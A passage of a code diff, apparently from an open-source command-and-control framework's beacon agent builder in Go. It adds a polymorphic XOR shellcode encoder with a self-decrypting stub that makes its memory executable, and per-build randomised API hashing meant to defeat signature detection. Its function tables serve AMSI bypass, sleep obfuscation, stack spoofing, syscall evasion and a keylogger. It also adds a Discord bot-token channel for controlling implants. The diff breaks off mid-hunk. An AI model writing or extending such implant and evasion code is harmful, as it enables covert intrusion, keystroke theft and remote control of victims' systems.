addVal := dataEnd - (epilogueOff + 6) + code[addEaxOff+2] = byte(addVal) + + // Patch ebp-relative offsets + put32LE(code, vpLeaKeyOff+2, uint32(keyOffset)) + put32LE(code, vpMovSizeOff+2, uint32(sizeOffset)) + put32LE(code, xorLeaKeyOff+2, uint32(keyOffset)) + put32LE(code, xorLeaDataOff+2, uint32(dataEnd)) + put32LE(code, xorMovSizeOff+2, uint32(sizeOffset)) + + return code, keyOffset, sizeOffset +} + +// xorEncodeShellcode applies XOR encoding to a shellcode payload. +// Returns the encoded payload prepended with a polymorphic self-decoding stub that: +// 1. Resolves VirtualProtect via PEB walk (kernel32) using random DJB2 seed +// 2. Makes its own memory RWX +// 3. XOR-decodes the payload in-place +// 4. Jumps to the decoded payload +// +// Each call generates a unique stub with different: +// - DJB2 hash seed and target hash +// - Junk instruction padding (variable size) +// - Instruction equivalences in the decode loop +func xorEncodeShellcode(payload []byte, arch string) ([]byte, error) { + // Generate 16-byte random XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, err + } + + // XOR-encode the payload + encoded := make([]byte, len(payload)) + for i, b := range payload { + encoded[i] = b ^ key[i%16] + } + + // Generate polymorphic stub + var stub []byte + var keyOffset, sizeOffset int + if arch == "x86" { + stub, keyOffset, sizeOffset = generateStubX86() + } else { + stub, keyOffset, sizeOffset = generateStubX64() + } + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size into stub (little-endian uint32) + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + + // Assemble: stub + encoded payload + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + return result, nil +} diff --git a/AdaptixServer/extenders/beacon_agent/pl_hashes.go b/AdaptixServer/extenders/beacon_agent/pl_hashes.go new file mode 100644 index 000000000..bc9a10f33 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/pl_hashes.go @@ -0,0 +1,416 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + "strings" +) + +// cryptoRandUint32 returns a cryptographically random uint32. +func cryptoRandUint32() uint32 { + var buf [4]byte + _, _ = rand.Read(buf[:]) + return binary.LittleEndian.Uint32(buf[:]) +} + +// djb2a computes a case-insensitive DJB2 hash for ASCII function names. +func djb2a(seed uint32, s string) uint32 { + h := seed + for _, c := range strings.ToLower(s) { + h = ((h << 5) + h) + uint32(c) + } + return h +} + +// djb2w computes a case-insensitive DJB2 hash for module names (UTF-16LE on Windows). +// For ASCII-only DLL names, iterating WCHAR* values produces the same result as +// iterating char* values, so this is equivalent to djb2a. +func djb2w(seed uint32, s string) uint32 { + return djb2a(seed, s) +} + +// hashEntry holds a define name and the string to hash. +type hashEntry struct { + define string + name string +} + +// libEntry holds a library define name and the DLL name. +type libEntry struct { + define string + dllName string +} + +var hashLibs = []libEntry{ + {"HASH_LIB_NTDLL", "ntdll.dll"}, + {"HASH_LIB_KERNEL32", "kernel32.dll"}, + {"HASH_LIB_KERNELBASE", "kernelbase.dll"}, + {"HASH_LIB_IPHLPAPI", "iphlpapi.dll"}, + {"HASH_LIB_ADVAPI32", "advapi32.dll"}, + {"HASH_LIB_MSVCRT", "msvcrt.dll"}, + {"HASH_LIB_WS2_32", "ws2_32.dll"}, + {"HASH_LIB_WININET", "wininet.dll"}, + {"HASH_LIB_USER32", "user32.dll"}, + {"HASH_LIB_AMSI", "amsi.dll"}, +} + +// hashFunctions is organized by sections matching the original hashes.py + extra hashes from ApiDefines.h +var hashFuncSections = []struct { + comment string + funcs []hashEntry +}{ + {"//ntdll", []hashEntry{ + {"HASH_FUNC_NTCLOSE", "NtClose"}, + {"HASH_FUNC_NTCONTINUE", "NtContinue"}, + {"HASH_FUNC_NTFREEVIRTUALMEMORY", "NtFreeVirtualMemory"}, + {"HASH_FUNC_NTQUERYINFORMATIONPROCESS", "NtQueryInformationProcess"}, + {"HASH_FUNC_NTQUERYSYSTEMINFORMATION", "NtQuerySystemInformation"}, + {"HASH_FUNC_NTOPENPROCESS", "NtOpenProcess"}, + {"HASH_FUNC_NTOPENPROCESSTOKEN", "NtOpenProcessToken"}, + {"HASH_FUNC_NTOPENTHREADTOKEN", "NtOpenThreadToken"}, + {"HASH_FUNC_NTTERMINATETHREAD", "NtTerminateThread"}, + {"HASH_FUNC_NTTERMINATEPROCESS", "NtTerminateProcess"}, + {"HASH_FUNC_RTLGETVERSION", "RtlGetVersion"}, + {"HASH_FUNC_RTLEXITUSERTHREAD", "RtlExitUserThread"}, + {"HASH_FUNC_RTLEXITUSERPROCESS", "RtlExitUserProcess"}, + {"HASH_FUNC_RTLIPV4STRINGTOADDRESSA", "RtlIpv4StringToAddressA"}, + {"HASH_FUNC_RTLRANDOMEX", "RtlRandomEx"}, + {"HASH_FUNC_RTLNTSTATUSTODOSERROR", "RtlNtStatusToDosError"}, + {"HASH_FUNC_NTFLUSHINSTRUCTIONCACHE", "NtFlushInstructionCache"}, + {"HASH_FUNC_RTLINITIALIZECRITICALSECTION", "RtlInitializeCriticalSection"}, + {"HASH_FUNC_RTLDELETECRITICALSECTION", "RtlDeleteCriticalSection"}, + {"HASH_FUNC_NTCREATEEVENT", "NtCreateEvent"}, + {"HASH_FUNC_NTWAITFORSINGLEOBJECT", "NtWaitForSingleObject"}, + {"HASH_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT", "NtSignalAndWaitForSingleObject"}, + {"HASH_FUNC_NTQUEUEAPCTHREAD", "NtQueueApcThread"}, + {"HASH_FUNC_NTALERTRESUMETHREAD", "NtAlertResumeThread"}, + {"HASH_FUNC_NTPROTECTVIRTUALMEMORY", "NtProtectVirtualMemory"}, + {"HASH_FUNC_NTCREATETHREADEX", "NtCreateThreadEx"}, + {"HASH_FUNC_NTSETEVENT", "NtSetEvent"}, + {"HASH_FUNC_NTQUERYVIRTUALMEMORY", "NtQueryVirtualMemory"}, + {"HASH_FUNC_NTCREATESECTION", "NtCreateSection"}, + {"HASH_FUNC_NTMAPVIEWOFSECTION", "NtMapViewOfSection"}, + {"HASH_FUNC_NTUNMAPVIEWOFSECTION", "NtUnmapViewOfSection"}, + {"HASH_FUNC_ETWEVENTWRITE", "EtwEventWrite"}, + {"HASH_FUNC_NTALLOCATEVIRTUALMEMORY", "NtAllocateVirtualMemory"}, + {"HASH_FUNC_NTOPENFILE", "NtOpenFile"}, + {"HASH_FUNC_NTREADFILE", "NtReadFile"}, + {"HASH_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER", "RtlAddVectoredExceptionHandler"}, + {"HASH_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER", "RtlRemoveVectoredExceptionHandler"}, + {"HASH_FUNC_RTLCREATEHEAP", "RtlCreateHeap"}, + {"HASH_FUNC_RTLALLOCATEHEAP", "RtlAllocateHeap"}, + {"HASH_FUNC_RTLFREEHEAP", "RtlFreeHeap"}, + {"HASH_FUNC_RTLDESTROYHEAP", "RtlDestroyHeap"}, + }}, + {"// Shinkiro Zw* (SSN sort by address)", []hashEntry{ + {"HASH_FUNC_ZWCLOSE", "ZwClose"}, + {"HASH_FUNC_ZWCONTINUE", "ZwContinue"}, + {"HASH_FUNC_ZWFREEVIRTUALMEMORY", "ZwFreeVirtualMemory"}, + {"HASH_FUNC_ZWQUERYINFORMATIONPROCESS", "ZwQueryInformationProcess"}, + {"HASH_FUNC_ZWQUERYSYSTEMINFORMATION", "ZwQuerySystemInformation"}, + {"HASH_FUNC_ZWOPENPROCESS", "ZwOpenProcess"}, + {"HASH_FUNC_ZWOPENPROCESSTOKEN", "ZwOpenProcessToken"}, + {"HASH_FUNC_ZWOPENTHREADTOKEN", "ZwOpenThreadToken"}, + {"HASH_FUNC_ZWTERMINATETHREAD", "ZwTerminateThread"}, + {"HASH_FUNC_ZWTERMINATEPROCESS", "ZwTerminateProcess"}, + {"HASH_FUNC_ZWCREATEEVENT", "ZwCreateEvent"}, + {"HASH_FUNC_ZWWAITFORSINGLEOBJECT", "ZwWaitForSingleObject"}, + {"HASH_FUNC_ZWSIGNALANDWAITFORSINGLEOBJECT", "ZwSignalAndWaitForSingleObject"}, + {"HASH_FUNC_ZWQUEUEAPCTHREAD", "ZwQueueApcThread"}, + {"HASH_FUNC_ZWALERTRESUMETHREAD", "ZwAlertResumeThread"}, + {"HASH_FUNC_ZWPROTECTVIRTUALMEMORY", "ZwProtectVirtualMemory"}, + {"HASH_FUNC_ZWCREATETHREADEX", "ZwCreateThreadEx"}, + {"HASH_FUNC_ZWSETEVENT", "ZwSetEvent"}, + {"HASH_FUNC_ZWCREATESECTION", "ZwCreateSection"}, + {"HASH_FUNC_ZWMAPVIEWOFSECTION", "ZwMapViewOfSection"}, + {"HASH_FUNC_ZWUNMAPVIEWOFSECTION", "ZwUnmapViewOfSection"}, + {"HASH_FUNC_ZWALLOCATEVIRTUALMEMORY", "ZwAllocateVirtualMemory"}, + {"HASH_FUNC_ZWOPENFILE", "ZwOpenFile"}, + {"HASH_FUNC_ZWREADFILE", "ZwReadFile"}, + {"HASH_FUNC_ZWFLUSHINSTRUCTIONCACHE", "ZwFlushInstructionCache"}, + {"HASH_FUNC_ZWQUERYVIRTUALMEMORY", "ZwQueryVirtualMemory"}, + }}, + {"// ThreadStack Spoofing (TsInit frame targets)", []hashEntry{ + {"HASH_TS_WAITFORSINGLEOBJECTEX", "WaitForSingleObjectEx"}, + {"HASH_TS_BASETHREADINITTHUNK", "BaseThreadInitThunk"}, + {"HASH_TS_RTLUSERTHREADSTART", "RtlUserThreadStart"}, + {"HASH_TS_NTWAITFORSINGLEOBJECT", "NtWaitForSingleObject"}, + }}, + {"// Ekko Sleep Obfuscation (timer queue)", []hashEntry{ + {"HASH_FUNC_RTLCREATETIMERQUEUE", "RtlCreateTimerQueue"}, + {"HASH_FUNC_RTLCREATETIMER", "RtlCreateTimer"}, + {"HASH_FUNC_RTLDELETETIMERQUEUE", "RtlDeleteTimerQueue"}, + }}, + {"// Ekko Sleep Obfuscation (kernel32 ROP chain)", []hashEntry{ + {"HASH_FUNC_VIRTUALPROTECT", "VirtualProtect"}, + {"HASH_FUNC_WAITFORSINGLEOBJECTEX", "WaitForSingleObjectEx"}, + {"HASH_FUNC_SETEVENT", "SetEvent"}, + }}, + {"// amsi", []hashEntry{ + {"HASH_FUNC_AMSISCANBUFFER", "AmsiScanBuffer"}, + }}, + {"//kernel32", []hashEntry{ + {"HASH_FUNC_CONNECTNAMEDPIPE", "ConnectNamedPipe"}, + {"HASH_FUNC_COPYFILEA", "CopyFileA"}, + {"HASH_FUNC_CREATEDIRECTORYA", "CreateDirectoryA"}, + {"HASH_FUNC_CREATEEVENTA", "CreateEventA"}, + {"HASH_FUNC_CREATEFILEA", "CreateFileA"}, + {"HASH_FUNC_CREATENAMEDPIPEA", "CreateNamedPipeA"}, + {"HASH_FUNC_CREATEPIPE", "CreatePipe"}, + {"HASH_FUNC_CREATEPROCESSA", "CreateProcessA"}, + {"HASH_FUNC_CREATETHREAD", "CreateThread"}, + {"HASH_FUNC_DELETECRITICALSECTION", "DeleteCriticalSection"}, + {"HASH_FUNC_DELETEFILEA", "DeleteFileA"}, + {"HASH_FUNC_DISCONNECTNAMEDPIPE", "DisconnectNamedPipe"}, + {"HASH_FUNC_ENTERCRITICALSECTION", "EnterCriticalSection"}, + {"HASH_FUNC_FINDCLOSE", "FindClose"}, + {"HASH_FUNC_FINDFIRSTFILEA", "FindFirstFileA"}, + {"HASH_FUNC_FINDNEXTFILEA", "FindNextFileA"}, + {"HASH_FUNC_FREELIBRARY", "FreeLibrary"}, + {"HASH_FUNC_FLUSHFILEBUFFERS", "FlushFileBuffers"}, + {"HASH_FUNC_GETACP", "GetACP"}, + {"HASH_FUNC_GETCOMPUTERNAMEEXA", "GetComputerNameExA"}, + {"HASH_FUNC_GETCURRENTDIRECTORYA", "GetCurrentDirectoryA"}, + {"HASH_FUNC_GETDRIVETYPEA", "GetDriveTypeA"}, + {"HASH_FUNC_GETEXITCODEPROCESS", "GetExitCodeProcess"}, + {"HASH_FUNC_GETEXITCODETHREAD", "GetExitCodeThread"}, + {"HASH_FUNC_GETFILESIZE", "GetFileSize"}, + {"HASH_FUNC_GETFILEATTRIBUTESA", "GetFileAttributesA"}, + {"HASH_FUNC_GETFULLPATHNAMEA", "GetFullPathNameA"}, + {"HASH_FUNC_GETTHREADCONTEXT", "GetThreadContext"}, + {"HASH_FUNC_GETLASTERROR", "GetLastError"}, + {"HASH_FUNC_GETLOGICALDRIVES", "GetLogicalDrives"}, + {"HASH_FUNC_GETOEMCP", "GetOEMCP"}, + {"HASH_FUNC_K32GETMODULEBASENAMEA", "K32GetModuleBaseNameA"}, + {"HASH_FUNC_GETMODULEBASENAMEA", "GetModuleBaseNameA"}, + {"HASH_FUNC_GETMODULEHANDLEA", "GetModuleHandleA"}, + {"HASH_FUNC_GETPROCADDRESS", "GetProcAddress"}, + {"HASH_FUNC_GETLOCALTIME", "GetLocalTime"}, + {"HASH_FUNC_GETSYSTEMTIMEASFILETIME", "GetSystemTimeAsFileTime"}, + {"HASH_FUNC_GETTICKCOUNT", "GetTickCount"}, + {"HASH_FUNC_GETTIMEZONEINFORMATION", "GetTimeZoneInformation"}, + {"HASH_FUNC_GETUSERNAMEA", "GetUserNameA"}, + {"HASH_FUNC_HEAPALLOC", "HeapAlloc"}, + {"HASH_FUNC_HEAPCREATE", "HeapCreate"}, + {"HASH_FUNC_HEAPDESTROY", "HeapDestroy"}, + {"HASH_FUNC_HEAPREALLOC", "HeapReAlloc"}, + {"HASH_FUNC_HEAPFREE", "HeapFree"}, + {"HASH_FUNC_INITIALIZECRITICALSECTION", "InitializeCriticalSection"}, + {"HASH_FUNC_ISWOW64PROCESS", "IsWow64Process"}, + {"HASH_FUNC_LEAVECRITICALSECTION", "LeaveCriticalSection"}, + {"HASH_FUNC_LOADLIBRARYA", "LoadLibraryA"}, + {"HASH_FUNC_LOCALALLOC", "LocalAlloc"}, + {"HASH_FUNC_LOCALFREE", "LocalFree"}, + {"HASH_FUNC_LOCALREALLOC", "LocalReAlloc"}, + {"HASH_FUNC_MOVEFILEA", "MoveFileA"}, + {"HASH_FUNC_MULTIBYTETOWIDECHAR", "MultiByteToWideChar"}, + {"HASH_FUNC_PEEKNAMEDPIPE", "PeekNamedPipe"}, + {"HASH_FUNC_READFILE", "ReadFile"}, + {"HASH_FUNC_REMOVEDIRECTORYA", "RemoveDirectoryA"}, + {"HASH_FUNC_RESETEVENT", "ResetEvent"}, + {"HASH_FUNC_RTLCAPTURECONTEXT", "RtlCaptureContext"}, + {"HASH_FUNC_SETCURRENTDIRECTORYA", "SetCurrentDirectoryA"}, + {"HASH_FUNC_SETNAMEDPIPEHANDLESTATE", "SetNamedPipeHandleState"}, + {"HASH_FUNC_SLEEP", "Sleep"}, + {"HASH_FUNC_TRYENTERCRITICALSECTION", "TryEnterCriticalSection"}, + {"HASH_FUNC_VIRTUALALLOC", "VirtualAlloc"}, + {"HASH_FUNC_VIRTUALFREE", "VirtualFree"}, + {"HASH_FUNC_WAITFORSINGLEOBJECT", "WaitForSingleObject"}, + {"HASH_FUNC_WAITNAMEDPIPEA", "WaitNamedPipeA"}, + {"HASH_FUNC_WIDECHARTOMULTIBYTE", "WideCharToMultiByte"}, + {"HASH_FUNC_WRITEFILE", "WriteFile"}, + }}, + {"// iphlpapi", []hashEntry{ + {"HASH_FUNC_GETADAPTERSINFO", "GetAdaptersInfo"}, + }}, + {"// advapi32", []hashEntry{ + {"HASH_FUNC_ALLOCATEANDINITIALIZESID", "AllocateAndInitializeSid"}, + {"HASH_FUNC_CREATEPROCESSASUSERA", "CreateProcessAsUserA"}, + {"HASH_FUNC_CREATEPROCESSWITHTOKENW", "CreateProcessWithTokenW"}, + {"HASH_FUNC_DUPLICATETOKENEX", "DuplicateTokenEx"}, + {"HASH_FUNC_GETTOKENINFORMATION", "GetTokenInformation"}, + {"HASH_FUNC_INITIALIZESECURITYDESCRIPTOR", "InitializeSecurityDescriptor"}, + {"HASH_FUNC_IMPERSONATELOGGEDONUSER", "ImpersonateLoggedOnUser"}, + {"HASH_FUNC_FREESID", "FreeSid"}, + {"HASH_FUNC_LOOKUPACCOUNTSIDA", "LookupAccountSidA"}, + {"HASH_FUNC_REVERTTOSELF", "RevertToSelf"}, + {"HASH_FUNC_SETTHREADTOKEN", "SetThreadToken"}, + {"HASH_FUNC_SETENTRIESINACLA", "SetEntriesInAclA"}, + {"HASH_FUNC_SETSECURITYDESCRIPTORDACL", "SetSecurityDescriptorDacl"}, + {"HASH_FUNC_SYSTEMFUNCTION036", "SystemFunction036"}, + {"HASH_FUNC_SYSTEMFUNCTION032", "SystemFunction032"}, + }}, + {"// msvcrt", []hashEntry{ + {"HASH_FUNC_PRINTF", "printf"}, + {"HASH_FUNC_VSNPRINTF", "vsnprintf"}, + {"HASH_FUNC__SNPRINTF", "_snprintf"}, + }}, + {"// BOF", []hashEntry{ + {"HASH_FUNC_BEACONDATAPARSE", "BeaconDataParse"}, + {"HASH_FUNC_BEACONDATAINT", "BeaconDataInt"}, + {"HASH_FUNC_BEACONDATASHORT", "BeaconDataShort"}, + {"HASH_FUNC_BEACONDATALENGTH", "BeaconDataLength"}, + {"HASH_FUNC_BEACONDATAEXTRACT", "BeaconDataExtract"}, + {"HASH_FUNC_BEACONFORMATALLOC", "BeaconFormatAlloc"}, + {"HASH_FUNC_BEACONFORMATRESET", "BeaconFormatReset"}, + {"HASH_FUNC_BEACONFORMATAPPEND", "BeaconFormatAppend"}, + {"HASH_FUNC_BEACONFORMATPRINTF", "BeaconFormatPrintf"}, + {"HASH_FUNC_BEACONFORMATTOSTRING", "BeaconFormatToString"}, + {"HASH_FUNC_BEACONFORMATFREE", "BeaconFormatFree"}, + {"HASH_FUNC_BEACONFORMATINT", "BeaconFormatInt"}, + {"HASH_FUNC_BEACONOUTPUT", "BeaconOutput"}, + {"HASH_FUNC_BEACONPRINTF", "BeaconPrintf"}, + {"HASH_FUNC_BEACONUSETOKEN", "BeaconUseToken"}, + {"HASH_FUNC_BEACONREVERTTOKEN", "BeaconRevertToken"}, + {"HASH_FUNC_BEACONISADMIN", "BeaconIsAdmin"}, + {"HASH_FUNC_BEACONGETSPAWNTO", "BeaconGetSpawnTo"}, + {"HASH_FUNC_BEACONINJECTPROCESS", "BeaconInjectProcess"}, + {"HASH_FUNC_BEACONINJECTTEMPORARYPROCESS", "BeaconInjectTemporaryProcess"}, + {"HASH_FUNC_BEACONSPAWNTEMPORARYPROCESS", "BeaconSpawnTemporaryProcess"}, + {"HASH_FUNC_BEACONCLEANUPPROCESS", "BeaconCleanupProcess"}, + {"HASH_FUNC_TOWIDECHAR", "toWideChar"}, + {"HASH_FUNC_BEACONINFORMATION", "BeaconInformation"}, + {"HASH_FUNC_BEACONADDVALUE", "BeaconAddValue"}, + {"HASH_FUNC_BEACONGETVALUE", "BeaconGetValue"}, + {"HASH_FUNC_BEACONREMOVEVALUE", "BeaconRemoveValue"}, + // duplicates from kernel32 (BOF API resolution) + // HASH_FUNC_LOADLIBRARYA, HASH_FUNC_GETPROCADDRESS, HASH_FUNC_GETMODULEHANDLEA, HASH_FUNC_FREELIBRARY already defined above + {"HASH_FUNC___C_SPECIFIC_HANDLER", "__C_specific_handler"}, + {"HASH_FUNC_AXADDSCREENSHOT", "AxAddScreenshot"}, + {"HASH_FUNC_AXDOWNLOADMEMORY", "AxDownloadMemory"}, + {"HASH_FUNC_BEACONWAKEUP", "BeaconWakeup"}, + {"HASH_FUNC_BEACONGETSTOPJOBEVENT", "BeaconGetStopJobEvent"}, + {"HASH_FUNC_BEACONREGISTERTHREADCALLBACK", "BeaconRegisterThreadCallback"}, + {"HASH_FUNC_BEACONUNREGISTERTHREADCALLBACK", "BeaconUnregisterThreadCallback"}, + }}, + {"// wininet", []hashEntry{ + {"HASH_FUNC_INTERNETOPENA", "InternetOpenA"}, + {"HASH_FUNC_INTERNETCONNECTA", "InternetConnectA"}, + {"HASH_FUNC_HTTPOPENREQUESTA", "HttpOpenRequestA"}, + {"HASH_FUNC_HTTPSENDREQUESTA", "HttpSendRequestA"}, + {"HASH_FUNC_INTERNETSETOPTIONA", "InternetSetOptionA"}, + {"HASH_FUNC_INTERNETQUERYOPTIONA", "InternetQueryOptionA"}, + {"HASH_FUNC_HTTPQUERYINFOA", "HttpQueryInfoA"}, + {"HASH_FUNC_INTERNETQUERYDATAAVAILABLE", "InternetQueryDataAvailable"}, + {"HASH_FUNC_INTERNETCLOSEHANDLE", "InternetCloseHandle"}, + {"HASH_FUNC_INTERNETREADFILE", "InternetReadFile"}, + }}, + {"// user32 (keylogger)", []hashEntry{ + {"HASH_FUNC_GETASYNCKEYSTATE", "GetAsyncKeyState"}, + {"HASH_FUNC_GETKEYBOARDSTATE", "GetKeyboardState"}, + {"HASH_FUNC_TOUNICODE", "ToUnicode"}, + {"HASH_FUNC_MAPVIRTUALKEYW", "MapVirtualKeyW"}, + {"HASH_FUNC_GETFOREGROUNDWINDOW", "GetForegroundWindow"}, + {"HASH_FUNC_GETWINDOWTEXTW", "GetWindowTextW"}, + {"HASH_FUNC_GETWINDOWTHREADPROCESSID", "GetWindowThreadProcessId"}, + }}, + {"// ws2_32", []hashEntry{ + {"HASH_FUNC_WSASTARTUP", "WSAStartup"}, + {"HASH_FUNC_WSACLEANUP", "WSACleanup"}, + {"HASH_FUNC_SOCKET", "socket"}, + {"HASH_FUNC_GETHOSTBYNAME", "gethostbyname"}, + {"HASH_FUNC_IOCTLSOCKET", "ioctlsocket"}, + {"HASH_FUNC_CONNECT", "connect"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_WSAGETLASTERROR", "WSAGetLastError"}, + {"HASH_FUNC_CLOSESOCKET", "closesocket"}, + {"HASH_FUNC_SELECT", "select"}, + {"HASH_FUNC___WSAFDISSET", "__WSAFDIsSet"}, + {"HASH_FUNC_SHUTDOWN", "shutdown"}, + {"HASH_FUNC_RECV", "recv"}, + {"HASH_FUNC_SEND", "send"}, + {"HASH_FUNC_ACCEPT", "accept"}, + {"HASH_FUNC_BIND", "bind"}, + {"HASH_FUNC_LISTEN", "listen"}, + {"HASH_FUNC_RECVFROM", "recvfrom"}, + {"HASH_FUNC_SENDTO", "sendto"}, + }}, + {"// shinkiro v2: per-syscall Win32 wrapper functions (kernelbase/kernel32/advapi32)", []hashEntry{ + {"HASH_WRAPPER_CLOSEHANDLE", "CloseHandle"}, + {"HASH_WRAPPER_OPENPROCESS", "OpenProcess"}, + {"HASH_WRAPPER_OPENPROCESSTOKEN", "OpenProcessToken"}, + {"HASH_WRAPPER_OPENTHREADTOKEN", "OpenThreadToken"}, + {"HASH_WRAPPER_TERMINATETHREAD", "TerminateThread"}, + {"HASH_WRAPPER_TERMINATEPROCESS", "TerminateProcess"}, + {"HASH_WRAPPER_CREATEEVENTW", "CreateEventW"}, + {"HASH_WRAPPER_WAITFORSINGLEOBJECT", "WaitForSingleObject"}, + {"HASH_WRAPPER_SIGNALOBJECTANDWAIT", "SignalObjectAndWait"}, + {"HASH_WRAPPER_QUEUEUSERAPC", "QueueUserAPC"}, + {"HASH_WRAPPER_CREATEREMOTETHREAD", "CreateRemoteThread"}, + {"HASH_WRAPPER_CREATEFILEMAPPINGW", "CreateFileMappingW"}, + {"HASH_WRAPPER_MAPVIEWOFFILE", "MapViewOfFile"}, + {"HASH_WRAPPER_UNMAPVIEWOFFILE", "UnmapViewOfFile"}, + {"HASH_WRAPPER_CREATEFILEW", "CreateFileW"}, + {"HASH_FUNC_FLUSHINSTRUCTIONCACHE", "FlushInstructionCache"}, + }}, +} + +// generateApiDefines produces the full ApiDefines.h content with the given DJB2 seed. +func generateApiDefines(seed uint32) string { + var b strings.Builder + b.WriteString("#pragma once\n") + + // Library hashes (DJB2W) + for _, lib := range hashLibs { + h := djb2w(seed, lib.dllName) + pad := 35 - len(lib.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%x\n", lib.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + + // Function hashes (DJB2A) organized by section + for _, section := range hashFuncSections { + b.WriteString(section.comment + "\n") + for _, entry := range section.funcs { + h := djb2a(seed, entry.name) + pad := 35 - len(entry.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%x\n", entry.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + } + + return b.String() +} + +// StubHashes holds the pre-computed DJB2 hashes for the reflective loader stub. +// These are passed to nasm as -D defines so each payload has unique hash constants. +type StubHashes struct { + ModNtdll uint32 + ModKernel32 uint32 + NtCreateSection uint32 + NtMapViewOfSection uint32 + NtProtectVirtualMem uint32 + NtClose uint32 + LoadLibraryA uint32 + GetProcAddress uint32 + FlushInstructionCache uint32 + FreeLibrary uint32 + LoadLibraryExA uint32 +} + +// computeStubHashes computes all DJB2 hashes needed by stub_rdi.x64.asm +// using the given random seed. Module names use djb2w (wchar), export +// names use djb2a (ASCII) — both case-insensitive. +func computeStubHashes(seed uint32) StubHashes { + return StubHashes{ + ModNtdll: djb2w(seed, "ntdll.dll"), + ModKernel32: djb2w(seed, "kernel32.dll"), + NtCreateSection: djb2a(seed, "NtCreateSection"), + NtMapViewOfSection: djb2a(seed, "NtMapViewOfSection"), + NtProtectVirtualMem: djb2a(seed, "NtProtectVirtualMemory"), + NtClose: djb2a(seed, "NtClose"), + LoadLibraryA: djb2a(seed, "LoadLibraryA"), + GetProcAddress: djb2a(seed, "GetProcAddress"), + FlushInstructionCache: djb2a(seed, "FlushInstructionCache"), + FreeLibrary: djb2a(seed, "FreeLibrary"), + LoadLibraryExA: djb2a(seed, "LoadLibraryExA"), + } +} diff --git a/AdaptixServer/extenders/beacon_agent/pl_main.go b/AdaptixServer/extenders/beacon_agent/pl_main.go index 87ae4e3c0..a3c7bccbc 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_main.go +++ b/AdaptixServer/extenders/beacon_agent/pl_main.go @@ -290,18 +290,30 @@ type GenerateConfig struct { ProxyUsername string `json:"proxy_username"` ProxyPassword string `json:"proxy_password"` RotationMode string `json:"rotation_mode"` + ModuleStomp bool `json:"module_stomp"` + StompPaths string `json:"stomp_paths"` } var ( - ObjectDir_http = "objects_http" - ObjectDir_smb = "objects_smb" - ObjectDir_tcp = "objects_tcp" - ObjectDir_dns = "objects_dns" - ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"} + ObjectDir_http = "objects_http" + ObjectDir_smb = "objects_smb" + ObjectDir_tcp = "objects_tcp" + ObjectDir_dns = "objects_dns" + ObjectDir_discord = "objects_discord" + ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "Keylogger", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"} CFlags = "-c -fno-builtin -fno-unwind-tables -fno-strict-aliasing -fno-ident -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables -fno-strict-overflow -fno-delete-null-pointer-checks -fpermissive -w -masm=intel -fPIC" LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -mwindows" ) +var seedDependentFiles = map[string]bool{ + "ProcLoader": true, + "ApiLoader": true, + "Boffer": true, + "bof_loader": true, + "Commander": true, + "Keylogger": true, +} + func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { var agentProfiles [][]byte @@ -361,6 +373,9 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, if err != nil { return nil, err } + if len(encryptKey) != 32 { + return nil, errors.New("encrypt_key must be 32 bytes (64 hex chars) for AES-256-GCM") + } params = append(params, int(agentWatermark)) params = append(params, kill_date) @@ -495,6 +510,19 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, return nil, err } + case "discord": + webhookUrl, _ := listenerMap["webhook_url"].(string) + botToken, _ := listenerMap["bot_token"].(string) + channelTasksId, _ := listenerMap["channel_tasks_id"].(string) + pollInterval, _ := listenerMap["poll_interval"].(float64) + cleanup, _ := listenerMap["cleanup"].(bool) + + params = append(params, webhookUrl) + params = append(params, botToken) + params = append(params, channelTasksId) + params = append(params, int(pollInterval)) + params = append(params, cleanup) + default: return nil, errors.New("protocol unknown") } @@ -504,7 +532,7 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, return nil, err } - cryptParams, err := RC4Crypt(packedParams, encryptKey) + cryptParams, err := AES256GCMEncrypt(packedParams, encryptKey) if err != nil { return nil, err } @@ -577,6 +605,15 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ return nil, "", err } + seed := cryptoRandUint32() + err = os.WriteFile(currentDir+"/beacon/ApiDefines.h", []byte(generateApiDefines(seed)), 0644) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + cFlags += fmt.Sprintf(" -DDJB2_SEED=%dU", seed) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x", seed)) + protocol, _ := listenerMap["protocol"].(string) if protocol == "http" { ObjectDir = ObjectDir_http @@ -590,6 +627,9 